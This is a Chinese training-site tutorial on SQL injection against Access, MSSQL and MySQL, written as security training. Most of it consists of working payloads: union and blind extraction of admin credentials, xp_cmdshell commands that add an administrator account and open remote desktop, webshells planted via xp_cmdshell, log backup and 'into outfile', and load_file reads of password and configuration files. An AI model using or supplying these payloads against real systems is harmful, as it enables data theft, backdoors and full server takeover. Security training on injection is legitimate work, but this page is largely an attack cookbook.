您好,欢迎访问老男孩IT教育在线教育有限公司!

400-609-2893

全国咨询热线

您现在所在位置:主页 > 通知资讯 >

各数据库的SQL注入学习 网络安全进阶

更新时间:2020-10-27

  各数据库的SQL注入:

  本章主要介绍Access、MsSQL、MySQL、Oracle中是如何进行注入的原理和实战。

数据库的SQL注入学习 老男孩教育网络安全培训
 

  Access数据库注入:

  Access数据库多用于小型站点,企业,政府这种基本不会改动什么的网站

  Access数据库后缀名:*.mdb

  打开工具:辅臣数据库浏览器,破障浏览器等

  第一步:找到注入点

  payload:  '                ● 返回错误

  payload: and 1=1    ● 返回正常

  payload: and 1=2    ● 返回错误

  满足以上条件即存在注入

  payload:and exists (select * from msysobjects)>0    ●返回正常,即可判断其为Access数据库

  payload:and exists (select * from sysobjects)>0       ●返回正常,即可判断其为MSSQL数据库

  第二步:猜解数据库表名和字段

  首先来猜解数据库表名:payload:and exists(select * from 表名)                 ● 一个一个猜,猜中为止。

  例如:

  http://192.168.60.75:92/products_category.asp?id=1 and exists(select * from users)            ●返回报错

  http://192.168.60.75:92/products_category.asp?id=1 and exists(select * from admin)            ●返回报错

  ✔http://192.168.60.75:92/products_category.asp?id=1 and exists(select * from administrator)   ●返回正常

不同SQL的注入,网络安全培训学习1

  存在administrator表与不存在的表对比

  然后开始猜字段:payload:and exists(select 字段名 from 表名)            ●一个一个猜,猜中为止

  例如:

  http://192.168.60.75:92/products_category.asp?id=1and exists(select username from administrator)

  ✔http://192.168.60.75:92/products_category.asp?id=1and exists(select user_name from administrator)

  ✔http://192.168.1.55:901/news_view.asp?id=14 and exists(select password from administrator)

不同SQL的注入,网络安全培训学习2

  存在user_name字段与不存在对比

  第三步:猜解字段长度

  通过上述步骤可以知道,数据库表的名字是“administrator”表中属性有“user_name”和“password”。

  猜字段长度payload:and (select top 1 len(user_name) from administrator)>xx    ●用返回的对错猜测

  例如:下面的结果说明administrator表中的user_name 字段长度为5

  ✔http://192.168.1.55:901/new?id=14 and (select top 1 len(user_name) from administrator)>3    ●正常

  ✔http://192.168.1.55:901/news?id=14 and (select top 1 len(user_name) from administrator)>4   ●正常

   http://192.168.1.55:901/news?id=14 and (select top 1 len(user_name) from administrator)>5●报错

  第四步:猜解字段内容

  payload:and (select top 1 asc(mid(user_name,1,1)) from administrator)>xx    ●根据返回对错判断

  例如:

  ✔http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>0  //返回正常页面

  说明ASCII值大于0 ,字段值应该为字母,如果是小于0那么说明是汉字,下面我们继续猜解。

  http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>100   //返回错误页面

  说明字段对应的ASCll值在0和100之间。继续提交。

  ✔http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>90   //返回正常页面

  说明字段对应的ASCll值在90和100之间。继续提交。

  ✔http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>96  //返回正常页面

  说明字段对应的ASCll值在96和100之间。继续提交。

  http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>97  //返回错误页面

  说明administrator表的user_name字段的第一位ASCII值为97。通过反查ASCII值对应的字母,得到字符值为“a”

不同SQL的注入,网络安全培训学习3

  用同样的方法,可猜解user_name字段值和password值,最终得到如下结果:

  [user_name]:admin         [password]:21232f297a57a5a743894a0e4a801fc3

  可看出password的值为32位MD5加密,使用MD5在线破解工具进行破解,得到明文密码为admin

  小提示: access数据库都是存放在网站目录下,后缀格式为mdb,asp,asa,可以通过一些暴库手段、目录猜解等直接下载数据库,如果是MSSQL、MYSQL等,一般数据库是存储在数据库安装路径下,后缀格式为myi,myd,frm,mdf 不能通过下载得到库。除非走狗屎运,对方管理员把网站库备份在网站目录下。

  SQL注入中的高级查询:(order by 与 union select)(➰必须掌握的便捷方法)

  第一步:order by猜字段数目

  首先,利用payload:order by  X  猜解字段数目,查询语句如下。

  order by 1

  order by 2

  …

  order by n-1

  order by n

  如果n-1时返回正常,n时返回错误,那么说明字段数目为n。

  第二步:union select爆字段内容

  得到字段长度后,就可利用payload:union select  1, 2, 3…, n from表名  查询获得字段内容了。

  and 1=2 union select1, 2, 3…, n from 表名

  执行上面的查询时,在页面中会返回数字,修改查询语句中的数字为字段名,例如提交如下代码。

  and 1=2 union select1, 字段1, 字段2…, n from 表名

  在页面中就会返回字段内容,不必一个一个进行猜解了。

  真实案例:

  1.需要一个一个猜的方法,猜出数据库的表名和表中的列名。

  2.然后现在来进行高效查询获得字段内容。

  首先查询字段数目,提交如下:

  ✔http://192.168.1.55:901/news_view.asp?id=14 order by 6      ●正常

  ✔http://192.168.1.55:901/news_view.asp?id=14 order by 7     ●正常

  http://192.168.1.55:901/news_view.asp?id=14 order by 8  ●错误

  3.说明字段数目为7 ,因此可提交以下字段。

  http://192.168.1.55:901/news_view.asp?id=14 union select 1,2,3,4,5,6,7 from administrator

不同SQL的注入,网络安全培训学习4

  4.从页面返回信息中,可看到显示了数字2和3。因此可以将这2个数字替换为字段名

  提交如下查询:

  http://192.168.1.55:901/news_view.asp?id=14  union select 1,user_name,password,4,5,6,7 from administrator
 

不同SQL的注入,网络安全培训学习5

  偏移注入: (偏移注入会随机爆出一个字段内容,具体是什么看运气)

  偏移注入只针对Access数据库,当我们只猜到数据库表名但猜不到列名的情况下,这种方法可以帮我们填补。

  第一步:使用上述方法通过:http://192.168.1.106:901/news_view.asp?id=14 union select 1,2,3,4,5,6,7 from administrator得到了上图的结果,注入点是2和3,但是我们并不知道列名的时候就可以使用下面方法。

  第二步: 通过输入:http://192.168.1.106:901/news_view.asp?id=14union select  1,2,3,4,* from administrator用*依次向前替换,直到页面显示正常。然后发现在4的时候页面返回正常,套用公式:7-4=3(代表administrator 有3个字段,也就是上边*的值)再接着用:3*2+1=7。

  第三步: http://192.168.1.106:901/news_view.asp?id=14 union select 1, a.id,b.id, *  from (administrator as a inner join administrator as b on a.id=b.id)注:a.id ,b.id每个占三个字段,就是上面得出的3,然后用*代表后边的数字。

  如果是更多位:http://192.168.1.106:901/news_view.asp?id=14 union select 1,a.id,b.id,c.id,* from ((administrator as a inner join administrator as b on a.id=b.id) inner join administrator as c a.id=c.id)
 

  注入跨库查询:

  假设a和b两个站点在同一服务器上面,但服务器上面安装了安全狗、Waf这样的安全软件,现在我们要对a站点进行攻击,但是没发现什么大漏洞,只找到网站数据库路径,对数据库下载发现下载不了。这个时候我发现b站点有注入点。

  经典实例:先通过上面的方法知道了“2和3”是注入点,所以将隔壁数据库data.asp内的列名adminpassword和username替换“2和3”。

  如下操作:

  http://192.168.1.106:901/news_view.asp?id=14 union select 1,adminpassword,username,4,5,6,7 from[C:wwwtestAspCMSAspCms_datadata.asp].Aspcms_Admins
 

不同SQL的注入,网络安全培训学习6
 

  MsSQL数据库注入:

  详情可参考:https://blog.csdn.net/xabc3000/article/details/7615378

  MsSQL Serve数据库在Web应用程序开发中也占了很大一部分比例,很多脚本语言都能够与之相结合。下面介绍一下基于ASP+MsSQL环境下的注入攻击技术。对MsSQL的注入,可采用与Access注入相同的原理和方法,但足利用MsSQL的特性,可以直接实施危害性极大的攻击,或者使用一些高级查询语句,快速得到表名和字段名等数据内容。

  第一步:注入点类型的判断

  首先要对MsSQL注入点进行一下基本的注入检测,然后判断是否是MsSQL注入点

  可提交如下查询:

  payload:and exists  (select * from sysobjects) >0 如果页面返回正常,则说明为MsSQL注入点。

不同SQL的注入,网络安全培训学习7

  第二步:获取当前系统用户名

  payload:and system_user=0

  其中的system_user是查询当前数据库系统的用户名,返回值是字符型,因此在与数字int整型数据进行对比时,会因为类型不匹配而造成数据库报错。从返回的错误信息中,可得知当前系统用户名。(如果不行,换个浏览器试试可能就成功了)

不同SQL的注入,网络安全培训学习8

  第三步:判断注入点权限

  payload:and 1=(select is_srvrolemember('sysadmin'))

  payload:and 1=(select is_srvrolemember('db_owner'))

  payload:and 1=(select is_srvrolemember('public'))

  如果上面的第一条查询返回正常页面,则说明当前数据库用户具有sa权限,可直接利用扩展存储进行攻击。sa为数据库用户中最高权限,而且默认也是系统权限,对服务器安全威胁是相当高的。如果数据库与Web服务器是同一个服务器,默认情况下攻击者就可以通过MsSQL自带的存储过程对整个服务器进行控制。

  如果页面返回出错,则说明不具备sa权限,可用另外两条语句判断其权限。如果权限不足,可通过注入点猜解数据库内容获得管理员账号。

  db_owner 权限的话,我们可以找到WEB的路径,然后用备份的方式得到webshell,有时也可以对注册表进行操作。

  public 权限的话,又要面对表和列了,不过MSSQL比ACCESS的“猜”表方便许多,这里是“暴”表,使目标直接暴出来。

  第四步:MsSQL返回信息判断

  payload:and @@version>0

  从页面返回的错误信息中,可以得到数据库版本信息。如果页面出错,但未返回可利用的信息,则说明MsSQL关闭了错误信息提示,在猜解数据库内容时,就不能用爆库的方法了,只能使用union select联合查询或盲注入攻击方法。

  此外,还可以进行如下查询检测,以获得更多的关于MsSQL注入点的信息。

  payload:;declare @d int  ●判断MsSQL支持多行语句查询

  payload:and (select count (1) from [sysobjects])>=0  ●是否支持子查询

  payload:and user>O ●获取当前数据库用户名

  payload:and db_name>0 ●获取当前数据库名称

  payload:and l=convert (int,db_name ())  或 1=(select db_name ()) ●当前数据库名

  payload:and 1=(select @@servername)                   ●本地服务名

  payload:and 1=(Select HAS_DBACCESS ('master'))        ●判断是否有库读取权限

  第五步:利用MsSQL扩展存储注入攻击

  扩展存储过程是MsSQL提供的特殊功能。所谓“扩展存储过程”,其实就是一个普通的Windows系统DLL文件,按照某种规则实现了某些函数功能。MsSQL利用扩展存储可以实现许多强大的功能,包括对系统进行操作。利用这个特性,在实施MsSQL注入攻击时,可以更容易地对系统进行控制。

  xp_cmdshell是什么?

  答:SQL中运行系统命令行的系统存储过程,一般在安全级别较高的服务器上,建议关闭或限制访问权限。

  可以使用外围应用配置器工具以及通过执行 sp_configure 来启用和禁用 xp_cmdshell。

  提交如下查询进行检测。

  payload:and 1=(Select count(*) FROM master. dbo.sysobjects  Where xtype ='X' AND name = 'xp_cmdshell')       ●可查看xp_cmdshell扩展存储过程是否被删除。

  payload:and 1=(Select count(*) FROM master. dbo.sysobjects  Where name = 'xp_regread')●可查看xp_regread扩展存储过程是否被删除。

  如果扩展存储被删除,可执行如下查询进行恢复。

  payload:EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--

  ↪或者:

  payload:;EXEC sp_configure 'show advanced options', 1 --

  payload:;RECONFIGURE WITH OVERRIDE --

  payload:;EXEC sp_configure 'xp_cmdshell', 1 --

  payload:;RECONFIGURE WITH OVERRIDE --

  payload:;EXEC sp_configure 'show advanced options', 0 --

  攻击中最常利用的扩展存储

  在SQL注入攻击过程中,最常利用到的扩展存储有如下几个。

  xp_cmdshell—利用此存储过程可以直接执行系统命令。

  xp_regread—利用此存储过程可以进行注册表读取。

  xp_regwrit一利用此存储过程可以写入注册表。

  xp_dirtre一利用此存储过程可以进行列目录操作。

  xp_enumds—利用此存储过程可以进行ODBC连接。

  xp_loginconfig-利用此存储过程可以配置服务器安全模式信息。

  xp_makecab一一利用此存储过程可以创建压缩卷。

  xp_ntsec_enumdomains-利用此存储过程可以查看domain信息。

  xp_terminate_jroces一利用此存储过程可以查看终端进程,给出一个进程PID.

  结合上面的这些扩展存储,通过提交精心构造的查询语句,可利用扩展存储的强大功能进行攻击。

  第六步:SA权限下扩展存储攻击利用方法→3389远程终端

  SA权限判断payload:and 1=(select IS_SRVROLEMEMBER('sysadmin'))

  利用扩展存储开启远程终端步骤:

  1.添加账号:

  payload:;exec masterxp_cmdshell 'net user test test /add'     ●添加一个用户名和密码均为test的用户

  2.提权账号:

  payload:;exec masterxp_cmdshell 'net localgroup administrators test /add'  ●将test用户加入到管理员组

  3.开启3389端口:

  payload:

  ;execmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal Server','fDenyTSConnections','REG_DWORD',0;            ●如果没有报错就是成功了

  4.链接3389端口控制对方的电脑

  输入目标的IP,账号密码就是test,连接成功后退出的话点击断开,不要关机。

  sa权限下,还有如下几种方法都可以获得目标的webshell。(只要是sysadmin,拿不到webshell或者系统权限那是你的无能)

  利用 xp_regwrite 操作注册表与开启沙盒模式

  利用 sp_makewebtask 写入一句话木马

  利用 sp_oacreate 存储远程下载文件

  利用 sp_addlogin 扩展管理数据库用户

  利用 xp_servicecontrol 管理服务

  第七步:dbowner 权限利用方法( )

  dbowner权限payload:and 1=(SELECT IS_MEMBER('db_owner'));--

  当数据库连接账户为dbowner权限时,无法直接利用扩展存储执行各种系统命令,进行攻击的过程比较烦琐。

  当注入点为dbo权限时:通常首先利用xp_dirtree扩展存储列出Web目录,然后利用SQL语句创建一个临时表,插入一句话木马到临时表中。然后利用数据库备份语句,将数据库备份到Web目录并保存为ASP格式的文件,即可得到一个一句话木马后门。最后利用一句话木马客户端连接后门,得到WebShell后就可以控制整个服务器了。

  db_owner目前公开的方法主要有五种:第一种:就是最普遍的backup,现在利用差异备份生成的asp文件确实要比以前小拉不少,但能否得到webshell,目前成功率还不是很高。第二种:就是在下的万能提权,此法成功率几乎为零,只有在特定的条件下面才能实现。第三种:就是LCX大牛在《MSSQLdb_owner角色注入直接获得系统权限》,所说的利用xp_regread读出VNC在注册表的加密密码,然后破解,直接拿到系统权限,这种方法局限性比较大,要是对方主机没有装vnc,你怎么办。第四种:就是利用xp_regwrite再注册表里直接加个系统帐号或者直接写个webshell,在主机重起的时候就可以拿到webshell或者系统权限。此法适用范围比较大,成功率也相对前3种较高点,但缺点也是显而易见的,就是不能够马上得到webshell,需要对方重起。第五种:就是利用添加作业的一些存储过程,sp_add_job,sp_addtask,xp_dirtree之类得到系统权限。理论上应该说是目前这5种里面成功率最高的的一种,下面我们就重点介绍一下第五种方法。

  1.找出网站安装路径:

  当Web服务器与数据库在同一服务器主机上时,就可以备份一句话木马到Web目录了。但是在备份一句话木马前,首先需要搜索Web目录,可通过如下几个步骤实现。

  第壹种方法:通过报错或baidu、google等查找

  第贰种方法:这种方法需要满足三个条件,可以获取目标的所有盘符和深度

  1、SQL SERVER允许执行多行语句;

  2、该网站能进行注入;

  3、没有返回详细的错误提示信息(否则没有必要用这种方法)。

  ⑴ payload:;drop table black;create table temp(dir nvarchar (255), depth varchar(255),files varchar(255), id int not null identity (1,1))--

  ●删除表black;首先我们建立一个临时表用于存放masterxp_dirtree(适合于public)生成的目录树 ,该表的dir字段表示目录的名称,depth字段表示目录的深度。

  ⑵payload:;insert into temp(dir,depth,files) exec master.dbo.xp_dirtree 'D:',1,1--

  ●然后执行xp_dirtree获得D盘的目录树

  ⑶ payload:and (select count(*) from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷'))>=数字(数字=0、1、2、3…)

  ●在进行下面的操作前,先查看D盘有几个文件夹,这样对D盘有个大致的了解

  ⑷ payload:and (select count(*) from temp where dir<>'user')<(select count(*) from temp)

  ●接着,我们在对方的网站上找几个一级子目录,如user、photo,然后,用筛选的方法来判断WEB根目录上是否存在此盘上

  ⑸ payload:and (select count(*) from temp where dir<>'photo')<(select count(*) from temp)

  ● 看语句的返回结果,如果为真,表示WEB根目录有可能在此盘上

  ⑹payload:and (select depth from temp where dir='user')>=数字(数字=1、2、3…)

  ● 假设找到的WEB根目录在此盘上,用以上的语句来获得一级子目录的深度:

  ● 假设得到的depth是3,说明user目录是D盘的3级目录,则WEB根目录是D盘的二级目录。

  ⑺ payload:;create table temp1(dir nvarchar(255),depth varchar(255));--

  ● 接下来,另外建立一个临时表temp1,用来存放D盘的1级子目录下的所有目录

  ⑻ payload:declare @dirname varchar(255);set @dirname='D:/'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname

  ●然后把从D盘的第一个子目录下的所有目录存到temp1中

  ⑼ payload:and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1)

  ●现在,temp1中已经保存了所有D盘第一级子目录下的所有目录,然后,我们用同样的方法来判断根目录是否在此一级子目录下

  ●如果返回为真,表示根目录可能在此子目录下,记住要多测试几个例子,如果都返回为假,则表明WEB根目录不在此目录下

  ●然后我们在用同样的方法来获得D盘第2、3…个子目录下的所有目录列表,来判断WEB根目录是否在其下。但是,要注意,用xp_dirtree前一定要把temp1表中的内容删除。

  ⑽payload:;create table temp2(dir nvarchar(255),depth varchar(255));--

  ●现在假设,WEB根目录在D盘的第一级子目录下,该子目录名称为website,怎样获得这个目录的名称我想不用我说了吧。因为前面我们知道了WEB根目录的深度为2,我们需要知道website下到底哪个才是真正的WEB根目录。

  ●现在,我们用同样的方法,再建立第3个临时表 temp2

  ⑾payload:declare @dirname varchar(255);set @dirname='D:/website/'+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname

  ●然后把从D盘的website下的所有目录存到temp2中

  ⑿payload:and (select count(*) from temp2 where dir<>'user')<(select count(*) from temp2)

  ●现在,我们用同样的方法判断该目录是否为根目录

  ●如果返回为真,为了确定我们的判断,多测试几个例子,方法上面都讲到了,如果多个例子都返回为真,那么就确定了该目录为WEB根目录。

  ●用以上的方法基本上可以获得WEB根目录,现在我们假设WEB根目录是:D:/website/www

  payload:and (select dir from temp where id=1)>0

  ●语句是查询临时表中的内容,也就是指定的目录文件和文件夹名。由于不能一次性获取所有目录文件和文件夹名,因此需要更改id的值,依次列出文件和文件夹来。

  2.获取数据库用户名

  payload:http://192.168.1.55/sqlserver/1.aspx?xxser=1 and db_name() =O--

  3.写入一句话木马:

  方法一:

  一句话木马payload:(通过中国菜刀)

  %20;exec%20masterxp_cmdshell%20'Echo%20"<%eval%20request("chopper")%>"%20>>%20c:wwwtestiis-xxser.com--wwwrootmuma.asp'--

  <%eval%20request("chopper")%>   是一句话木马,需要根据web的不同而变化

  c:wwwtestiis-xxser.com--wwwroot   是路径

  muma.asp   是一句话木马的名字

  方法二:

  差异备份payload:(此方法数据库必须曾经备份过事务日志)

  ;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c: est1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:wwwtestiis-xxser.com--wwwrootyjh.asp';alter database testdb set RECOVERY simple

  (0x3C2565786375746528726571756573742822636D64222929253E)   是一句话木马的16进制编码

  C:wwwtestiis-xxser.com--wwwroot   是物理路径

  yjh.asp   是一句话木马的名字

  也可以使用工具代替上述操作(GetWebShell)

不同SQL的注入,网络安全培训学习9

  然后用菜刀连接目标

  地址为:目标的根目录地址然后/muma.asp

  密码为:“chopper”

  然后就可以进入对方的服务器了。

  第八步:public权限利用方法

  public权限payload:and db_name()=0--

  1.获取mssql所有数据库名和路径

  payload:%20and%200=(select%20top%202%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%202%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)--

  ●改变上述的蓝色字,可以查看不同的路径。

  2.获取当前数据库所有表名

  payload:and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))--

  ●改变上述的蓝色字,可以查看不同的表名。

  3.爆表名及字段名

  payload:

  having 1=1--      ●爆出了admin.id

  group by admin.id having 1=1--      ●又爆出了admin.name

  group by admin.id,admin.name having 1=1--      ●又爆出了admin.passwd

  4、获取字段内容

  payload:/**/and/**/(select/**/top/**/1/**/isnull(cast([id]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([password]/**/as/**/nvarchar(4000)),char(32))/**/from/**/[testdb][admin]/**/where/**/1=1/**/and/**/id/**/not/**/in/**/(select/**/top/**/0/**/id/**/from/**/[testdb][admin]/**/where/**/1=1/**/group/**/by/**/id))%3E0/**/and/**/1=1
 

  MySQL数据库注入:

  mysql4与5区别:

  MySQL 4版本数据库由于存在着字符转义与不支持字句查询的情况,因此在注入攻击上存在着很大的局限性,只能采用类似Access的方法进行查询猜解。

  MySQL 5版本由于information_schema库的存在,注入攻击相对来说方便了许多通过load_file()函数来读取脚本代码或系统敏感文件内容,进行漏洞分析或直接获取数据库连接账号、密码。通过dumpfile/outfile函数导出获取WebShell。

  mysql用户名密码存储位置:

  数据库最高权限用户是root 密码保存在mysql数据库的user表中,密码是采用mysql5特有的加密,通过cmd5网站进行解密或通过cain等这类专业可以对mysql hash破解。所以对数据库做安全的时候无论如何不能给网站root 权限,一定要给一个普通用户权限。

  MySQL数据库注入步骤如下:

  1.使用order by查询列数payload:

  ' order by 1,2--+&Submit=Submit#              ●2的时候不报错,3的时候报错,说明只有两列

  2.使用联合查询,查看数据库用户名和版本、库名payload:

  ' union select user(),version()--+&Submit=Submit#             ●联合查询 user 和 version 或者 database

  3.因为information_schema存储所有数据库下的表名和列名信息,所以获取mysql所有库的payload:

  ' union select 1,group_concat(schema_name) from information_schema.schemata+--+&Submit=Submit

  ●在 from information 数据库中的 schema.schemata 表里查询 schema_name 列。

  4.获取表名payload:

  ' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+&Submit=Submit

  ●在 information_schema 表查询 table_name 列

  5.获取所有user表里面的字段payload:

  ' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+&Submit=Submit

  ●在 information_schema 表里 columns 列中查找 column_name 列,条件是 table_name=users。

  table_name=0x7573657273  不转成十六进制也可以table_name="users"

  6.获取所有字段内容payload:

  union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users+--+&Submit=Submit

  对服务器文件进行读写操作:

  前提条件:

  ①需要知道远程目录

  ②需要远程目录有写权限

  ③上传目录是否有脚本执行权限

  ④需要数据库开启secure_file_priv 相当于secure_file_priv的值为空,不为空不充许写入webshell (默认不开启,需要修改my.ini的配置文件)

  通过命令行show variables like '%secure%'查看secure_file_priv的值

  修改my.ini的配置文件如下图所示:添加secure_file_priv的值为' ',空的。

不同SQL的注入,网络安全培训学习10

  mysql获取web路径的方法:

  通过联合查询,load_file函数读取系统默认路径下的文件内容

  %27%20union%20select%201,load_file(0x433A5C5C57494E444F57535C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C)+--+&Submit=Submit ●路径记得转化为十六进制

  常见WINDOWS下配置文件:

  c:/windows/php.ini                  ●php配置信息

  c:/windows/my.ini                 ●MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码

  c:mysqldatamysqluser.MYD                 ●存储了mysql.user表中的数据库连接密码

  c:windowssystem32inetsrvMetaBase.xml               ●查看IIS的虚拟主机配置

  d:APACHEApache2confhttpd.conf

  c:windows epairsam                    ●存储了WINDOWS系统初次安装的密码

  常见LUNIX/UNIX下配置文件::

  /usr/local/app/apache2/conf/httpd.conf           ●apache2缺省配置文件

  /usr/local/apache2/conf/httpd.conf

  /usr/local/app/apache2/conf/extra/httpd-vhosts.conf            ●虚拟网站设置

  /usr/local/app/php5/lib/php.ini             ●PHP相关设置

  /etc/sysconfig/iptables                ●从中得到防火墙规则策略

  /etc/httpd/conf/httpd.conf        ●apache配置文件

  /etc/rsyncd.conf             ●同步程序配置文件

  /etc/my.cnf              ●mysql的配置文件

  /etc/redhat-release            ●系统版本

  /usr/local/resin-3.0.22/conf/resin.conf           ● 针对3.0.22的RESIN配置文件查看

  服务器读取文件:

  union%20select%201,load_file('c:\boot.ini')+--+&Submit=Submit             ● 读取C盘boot.ini文件

  路径要写两个\,因为会被转译一个。

  写webshell获取权限:

  union select "<?php @eval($_POST['123']);?>",2 into outfile "C:\phpStudy\WWW\123.php"+--+&Submit=Submit                    ●把一句话木马123,输出到C盘 \phpStudy\WWW\下

  然后通过菜刀连接即可
 

  原文链接:https://www.jianshu.com/p/c1875cc6a747

在线客服

ONLINE SERVICE

联系电话

400-609-2893

返回顶部